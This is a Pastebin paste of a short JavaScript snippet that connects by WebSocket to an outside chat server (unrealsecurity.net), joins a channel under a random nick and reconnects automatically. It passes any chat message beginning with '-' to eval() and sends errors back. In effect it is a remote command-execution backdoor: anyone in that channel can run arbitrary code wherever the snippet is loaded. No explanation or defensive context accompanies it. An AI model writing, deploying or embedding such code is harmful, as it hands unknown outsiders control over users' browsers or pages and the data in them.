Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- window.setInterval(function () {
- ws.send(JSON.stringify({
- cmd: 'ping'
- }));
- }, 50000);
- function join(channel) {
- ws = new WebSocket('wss://unrealsecurity.net/chat-ws');
- var name = "B" + Math.random().toString(36).substring(2);
- ws.onopen = function () {
- ws.send(JSON.stringify({cmd: 'join',channel: channel,nick: name}));
- };
- ws.onclose = function () {
- window.setTimeout(function () {
- join(channel);
- }, 2000);
- };
- say = msg => ws.send(JSON.stringify({cmd: 'chat',text:msg}));
- ws.onmessage = function (message) {
- var args = JSON.parse(message.data);
- var cmd = args.cmd;
- if(cmd == "chat" && args.text.substring(0,1) == "-")
- {
- try{eval(args.text.substring(1))}
- catch(e)
- {
- ws.send(JSON.stringify({
- cmd: 'chat',
- text:'Error ' + e.stack
- }));
- }
- }
- };
- }
- join("lol");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement